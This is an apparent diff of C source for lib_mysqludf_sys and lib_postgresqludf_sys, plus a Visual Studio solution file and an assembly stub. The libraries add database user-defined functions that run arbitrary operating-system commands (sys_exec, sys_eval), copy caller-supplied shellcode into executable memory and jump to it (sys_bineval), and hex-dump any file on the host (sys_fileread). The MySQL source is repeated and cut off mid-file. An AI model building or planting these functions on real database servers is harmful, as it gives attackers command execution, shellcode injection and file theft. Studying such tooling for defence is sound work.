#include <ctype.h>
|
||||
|
||||
#ifdef HAVE_DLOPEN
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#define LIBVERSION "lib_mysqludf_sys version 0.0.4"
|
||||
|
||||
#ifdef __WIN__
|
||||
#define SETENV(name,value) SetEnvironmentVariable(name,value);
|
||||
#else
|
||||
#define SETENV(name,value) setenv(name,value,1);
|
||||
#endif
|
||||
|
||||
DLLEXP
|
||||
my_bool lib_mysqludf_sys_info_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void lib_mysqludf_sys_info_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
char* lib_mysqludf_sys_info(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_get
|
||||
*
|
||||
* Gets the value of the specified environment variable.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_get_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_get_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
char* sys_get(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_set
|
||||
*
|
||||
* Sets the value of the environment variables.
|
||||
* This function accepts a set of name/value pairs
|
||||
* which are then set as environment variables.
|
||||
* Use sys_get to retrieve the value of such a variable
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_set_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_set_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
long long sys_set(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_exec
|
||||
*
|
||||
* executes the argument commandstring and returns its exit status.
|
||||
* Beware that this can be a security hazard.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_exec_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_exec_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
my_ulonglong sys_exec(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_eval
|
||||
*
|
||||
* executes the argument commandstring and returns its standard output.
|
||||
* Beware that this can be a security hazard.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_eval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_eval_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
char* sys_eval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_bineval
|
||||
*
|
||||
* executes bynary opcodes.
|
||||
* Beware that this can be a security hazard.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_bineval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_bineval_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
int sys_bineval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
);
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
#endif
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
/**
|
||||
* lib_mysqludf_sys_info
|
||||
*/
|
||||
my_bool lib_mysqludf_sys_info_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
my_bool status;
|
||||
if(args->arg_count!=0){
|
||||
strcpy(
|
||||
message
|
||||
, "No arguments allowed (udf: lib_mysqludf_sys_info)"
|
||||
);
|
||||
status = 1;
|
||||
} else {
|
||||
status = 0;
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
void lib_mysqludf_sys_info_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* lib_mysqludf_sys_info(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
strcpy(result,LIBVERSION);
|
||||
*length = strlen(LIBVERSION);
|
||||
return result;
|
||||
}
|
||||
|
||||
my_bool sys_get_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
if(args->arg_count==1
|
||||
&& args->arg_type[0]==STRING_RESULT){
|
||||
initid->maybe_null = 1;
|
||||
return 0;
|
||||
} else {
|
||||
strcpy(
|
||||
message
|
||||
, "Expected exactly one string type parameter"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_get_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* sys_get(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
char* value = getenv(args->args[0]);
|
||||
if(value == NULL){
|
||||
*is_null = 1;
|
||||
} else {
|
||||
*length = strlen(value);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
my_bool sys_set_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
if(args->arg_count!=2){
|
||||
strcpy(
|
||||
message
|
||||
, "Expected exactly two arguments"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
if(args->arg_type[0]!=STRING_RESULT){
|
||||
strcpy(
|
||||
message
|
||||
, "Expected string type for name parameter"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
args->arg_type[1]=STRING_RESULT;
|
||||
if((initid->ptr=malloc(
|
||||
args->lengths[0]
|
||||
+ 1
|
||||
+ args->lengths[1]
|
||||
+ 1
|
||||
))==NULL){
|
||||
strcpy(
|
||||
message
|
||||
, "Could not allocate memory"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
void sys_set_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
if (initid->ptr!=NULL){
|
||||
free(initid->ptr);
|
||||
}
|
||||
}
|
||||
|
||||
long long sys_set(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
char *name = initid->ptr;
|
||||
char *value = name + args->lengths[0] + 1;
|
||||
memcpy(
|
||||
name
|
||||
, args->args[0]
|
||||
, args->lengths[0]
|
||||
);
|
||||
*(name + args->lengths[0]) = '\0';
|
||||
memcpy(
|
||||
value
|
||||
, args->args[1]
|
||||
, args->lengths[1]
|
||||
);
|
||||
*(value + args->lengths[1]) = '\0';
|
||||
return SETENV(name,value);
|
||||
}
|
||||
|
||||
my_bool sys_exec_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
unsigned int i=0;
|
||||
if(args->arg_count == 1
|
||||
&& args->arg_type[i]==STRING_RESULT){
|
||||
return 0;
|
||||
} else {
|
||||
strcpy(
|
||||
message
|
||||
, "Expected exactly one string type parameter"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_exec_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
my_ulonglong sys_exec(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
return system(args->args[0]);
|
||||
}
|
||||
|
||||
my_bool sys_eval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
unsigned int i=0;
|
||||
if(args->arg_count == 1
|
||||
&& args->arg_type[i]==STRING_RESULT){
|
||||
return 0;
|
||||
} else {
|
||||
strcpy(
|
||||
message
|
||||
, "Expected exactly one string type parameter"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_eval_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* sys_eval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
FILE *pipe;
|
||||
char *line;
|
||||
unsigned long outlen, linelen;
|
||||
|
||||
line = (char *)malloc(1024);
|
||||
result = (char *)malloc(1);
|
||||
outlen = 0;
|
||||
|
||||
result[0] = (char)0;
|
||||
|
||||
pipe = popen(args->args[0], "r");
|
||||
|
||||
while (fgets(line, sizeof(line), pipe) != NULL) {
|
||||
linelen = strlen(line);
|
||||
result = (char *)realloc(result, outlen + linelen);
|
||||
strncpy(result + outlen, line, linelen);
|
||||
outlen = outlen + linelen;
|
||||
}
|
||||
|
||||
pclose(pipe);
|
||||
|
||||
if (!(*result) || result == NULL) {
|
||||
*is_null = 1;
|
||||
} else {
|
||||
result[outlen-1] = 0x00;
|
||||
*length = strlen(result);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
my_bool sys_bineval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
){
|
||||
return 0;
|
||||
}
|
||||
|
||||
void sys_bineval_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
|
||||
}
|
||||
|
||||
int sys_bineval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
){
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
int pID;
|
||||
char *code;
|
||||
#else
|
||||
int *addr;
|
||||
size_t page_size;
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
len = (size_t)strlen(args->args[0]);
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
strncpy(code, args->args[0], len);
|
||||
|
||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||
#else
|
||||
pID = fork();
|
||||
if(pID<0)
|
||||
return 1;
|
||||
|
||||
if(pID==0)
|
||||
{
|
||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||
|
||||
// mmap an rwx memory page
|
||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||
|
||||
if (addr == MAP_FAILED)
|
||||
return 1;
|
||||
|
||||
strncpy((char *)addr, args->args[0], len);
|
||||
|
||||
((void (*)(void))addr)();
|
||||
}
|
||||
|
||||
if(pID>0)
|
||||
waitpid(pID, 0, WNOHANG);
|
||||
#endif
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#if defined(_WIN64)
|
||||
void __exec_payload(LPVOID);
|
||||
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__exec_payload(lpParameter);
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__asm
|
||||
{
|
||||
mov eax, [lpParameter]
|
||||
call eax
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* HAVE_DLOPEN */
|
||||
Executable → Regular
Executable → Regular
+277
@@ -0,0 +1,277 @@
|
||||
/*
|
||||
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
Copyright (C) 2009-2010 Bernardo Damele A. G.
|
||||
web: http://bernardodamele.blogspot.com/
|
||||
email: [email protected]
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
#define _USE_32BIT_TIME_T
|
||||
#define DLLEXP __declspec(dllexport)
|
||||
#define BUILDING_DLL 1
|
||||
#else
|
||||
#define DLLEXP
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#include <postgres.h>
|
||||
#include <fmgr.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <ctype.h>
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
#endif
|
||||
|
||||
#ifdef PG_MODULE_MAGIC
|
||||
PG_MODULE_MAGIC;
|
||||
#endif
|
||||
|
||||
char *text_ptr_to_char_ptr(text *arg)
|
||||
{
|
||||
char *retVal;
|
||||
int arg_size = VARSIZE(arg) - VARHDRSZ;
|
||||
retVal = (char *)malloc(arg_size + 1);
|
||||
|
||||
memcpy(retVal, VARDATA(arg), arg_size);
|
||||
retVal[arg_size] = '\0';
|
||||
|
||||
return retVal;
|
||||
}
|
||||
|
||||
text *chr_ptr_to_text_ptr(char *arg)
|
||||
{
|
||||
text *retVal;
|
||||
|
||||
retVal = (text *)malloc(VARHDRSZ + strlen(arg));
|
||||
#ifdef SET_VARSIZE
|
||||
SET_VARSIZE(retVal, VARHDRSZ + strlen(arg));
|
||||
#else
|
||||
VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ;
|
||||
#endif
|
||||
memcpy(VARDATA(retVal), arg, strlen(arg));
|
||||
|
||||
return retVal;
|
||||
}
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_exec);
|
||||
#ifdef PGDLLIMPORT
|
||||
extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
|
||||
#else
|
||||
extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
|
||||
#endif
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
int32 result = 0;
|
||||
char *command;
|
||||
|
||||
command = text_ptr_to_char_ptr(argv0);
|
||||
|
||||
/*
|
||||
Only if you want to log
|
||||
elog(NOTICE, "Command execution: %s", command);
|
||||
*/
|
||||
|
||||
result = system(command);
|
||||
free(command);
|
||||
|
||||
PG_FREE_IF_COPY(argv0, 0);
|
||||
PG_RETURN_INT32(result);
|
||||
}
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_eval);
|
||||
#ifdef PGDLLIMPORT
|
||||
extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
||||
#else
|
||||
extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
||||
#endif
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
text *result_text;
|
||||
char *command;
|
||||
char *result;
|
||||
FILE *pipe;
|
||||
char *line;
|
||||
int32 outlen, linelen;
|
||||
|
||||
command = text_ptr_to_char_ptr(argv0);
|
||||
|
||||
/*
|
||||
Only if you want to log
|
||||
elog(NOTICE, "Command evaluated: %s", command);
|
||||
*/
|
||||
|
||||
line = (char *)malloc(1024);
|
||||
result = (char *)malloc(1);
|
||||
outlen = 0;
|
||||
|
||||
result[0] = (char)0;
|
||||
|
||||
pipe = popen(command, "r");
|
||||
|
||||
while (fgets(line, sizeof(line), pipe) != NULL) {
|
||||
linelen = strlen(line);
|
||||
result = (char *)realloc(result, outlen + linelen);
|
||||
strncpy(result + outlen, line, linelen);
|
||||
outlen = outlen + linelen;
|
||||
}
|
||||
|
||||
pclose(pipe);
|
||||
|
||||
if (*result) {
|
||||
result[outlen-1] = 0x00;
|
||||
}
|
||||
|
||||
result_text = chr_ptr_to_text_ptr(result);
|
||||
|
||||
PG_RETURN_POINTER(result_text);
|
||||
}
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_bineval);
|
||||
#ifdef PGDLLIMPORT
|
||||
extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
||||
#else
|
||||
extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
||||
#endif
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
int32 argv0_size;
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
int pID;
|
||||
char *code;
|
||||
#else
|
||||
int *addr;
|
||||
size_t page_size;
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||
len = (size_t)argv0_size;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
strncpy(code, VARDATA(argv0), len);
|
||||
|
||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||
#else
|
||||
pID = fork();
|
||||
if(pID<0)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
if(pID==0)
|
||||
{
|
||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||
|
||||
// mmap an rwx memory page
|
||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||
|
||||
if (addr == MAP_FAILED)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
strncpy((char *)addr, VARDATA(argv0), len);
|
||||
|
||||
((void (*)(void))addr)();
|
||||
}
|
||||
|
||||
if(pID>0)
|
||||
waitpid(pID, 0, WNOHANG);
|
||||
#endif
|
||||
|
||||
PG_RETURN_INT32(0);
|
||||
}
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__asm
|
||||
{
|
||||
mov eax, [lpParameter]
|
||||
call eax
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
#undef fopen
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_fileread);
|
||||
#ifdef PGDLLIMPORT
|
||||
extern PGDLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
|
||||
#else
|
||||
extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
|
||||
#endif
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
text *result_text;
|
||||
int32 len;
|
||||
int32 i, j;
|
||||
char *filename;
|
||||
char *result;
|
||||
char *buffer;
|
||||
char table[] = "0123456789ABCDEF";
|
||||
FILE *file;
|
||||
|
||||
filename = text_ptr_to_char_ptr(argv0);
|
||||
|
||||
file = fopen(filename, "rb");
|
||||
if (!file)
|
||||
{
|
||||
PG_RETURN_NULL();
|
||||
}
|
||||
fseek(file, 0, SEEK_END);
|
||||
len = ftell(file);
|
||||
fseek(file, 0, SEEK_SET);
|
||||
|
||||
buffer=(char *)malloc(len + 1);
|
||||
if (!buffer)
|
||||
{
|
||||
fclose(file);
|
||||
PG_RETURN_NULL();
|
||||
}
|
||||
|
||||
fread(buffer, len, 1, file);
|
||||
fclose(file);
|
||||
|
||||
result = (char *)malloc(2*len + 1);
|
||||
for (i=0, j=0; i<len; i++)
|
||||
{
|
||||
result[j++] = table[(buffer[i] >> 4) & 0x0f];
|
||||
result[j++] = table[ buffer[i] & 0x0f];
|
||||
}
|
||||
result[j] = '\0';
|
||||
|
||||
result_text = chr_ptr_to_text_ptr(result);
|
||||
|
||||
free(result);
|
||||
free(buffer);
|
||||
free(filename);
|
||||
|
||||
PG_RETURN_POINTER(result_text);
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual C++ Express 2005
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "lib_mysqludf_sys", "lib_mysqludf_sys\lib_mysqludf_sys.vcproj", "{4D362A3E-CA53-444C-B1C8-C49641823875}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Debug|X64 = Debug|X64
|
||||
Release|Win32 = Release|Win32
|
||||
Release|X64 = Release|X64
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{4D362A3E-CA53-444C-B1C8-C49641823875}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{4D362A3E-CA53-444C-B1C8-C49641823875}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{4D362A3E-CA53-444C-B1C8-C49641823875}.Debug|X64.ActiveCfg = Debug|Win32
|
||||
{4D362A3E-CA53-444C-B1C8-C49641823875}.Debug|X64.Build.0 = Debug|Win32
|
||||
{4D362A3E-CA53-444C-B1C8-C49641823875}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{4D362A3E-CA53-444C-B1C8-C49641823875}.Release|Win32.Build.0 = Release|Win32
|
||||
{4D362A3E-CA53-444C-B1C8-C49641823875}.Release|X64.ActiveCfg = Release|x64
|
||||
{4D362A3E-CA53-444C-B1C8-C49641823875}.Release|X64.Build.0 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,7 @@
|
||||
.CODE
|
||||
__exec_payload PROC x:QWORD
|
||||
mov rax, x
|
||||
call QWORD PTR[rax]
|
||||
ret
|
||||
__exec_payload ENDP
|
||||
END
|
||||
@@ -0,0 +1,567 @@
|
||||
/*
|
||||
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
Copyright (C) 2007 Roland Bouman
|
||||
Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G.
|
||||
web: http://www.mysqludf.org/
|
||||
email: [email protected], [email protected]
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
#define DLLEXP __declspec(dllexport)
|
||||
#else
|
||||
#define DLLEXP
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#ifdef STANDARD
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <time.h>
|
||||
#ifdef __WIN__
|
||||
typedef unsigned __int64 ulonglong;
|
||||
typedef __int64 longlong;
|
||||
#else
|
||||
typedef unsigned long long ulonglong;
|
||||
typedef long long longlong;
|
||||
#endif /*__WIN__*/
|
||||
#else
|
||||
#include <my_global.h>
|
||||
#include <my_sys.h>
|
||||
#endif
|
||||
#include <mysql.h>
|
||||
#include <m_ctype.h>
|
||||
#include <m_string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include <ctype.h>
|
||||
|
||||
#ifdef HAVE_DLOPEN
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#define LIBVERSION "lib_mysqludf_sys version 0.0.4"
|
||||
|
||||
#ifdef __WIN__
|
||||
#define SETENV(name,value) SetEnvironmentVariable(name,value);
|
||||
#else
|
||||
#define SETENV(name,value) setenv(name,value,1);
|
||||
#endif
|
||||
|
||||
DLLEXP
|
||||
my_bool lib_mysqludf_sys_info_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void lib_mysqludf_sys_info_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
char* lib_mysqludf_sys_info(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_get
|
||||
*
|
||||
* Gets the value of the specified environment variable.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_get_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_get_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
char* sys_get(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_set
|
||||
*
|
||||
* Sets the value of the environment variables.
|
||||
* This function accepts a set of name/value pairs
|
||||
* which are then set as environment variables.
|
||||
* Use sys_get to retrieve the value of such a variable
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_set_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_set_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
long long sys_set(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_exec
|
||||
*
|
||||
* executes the argument commandstring and returns its exit status.
|
||||
* Beware that this can be a security hazard.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_exec_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_exec_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
my_ulonglong sys_exec(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_eval
|
||||
*
|
||||
* executes the argument commandstring and returns its standard output.
|
||||
* Beware that this can be a security hazard.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_eval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_eval_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
char* sys_eval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_bineval
|
||||
*
|
||||
* executes bynary opcodes.
|
||||
* Beware that this can be a security hazard.
|
||||
*/
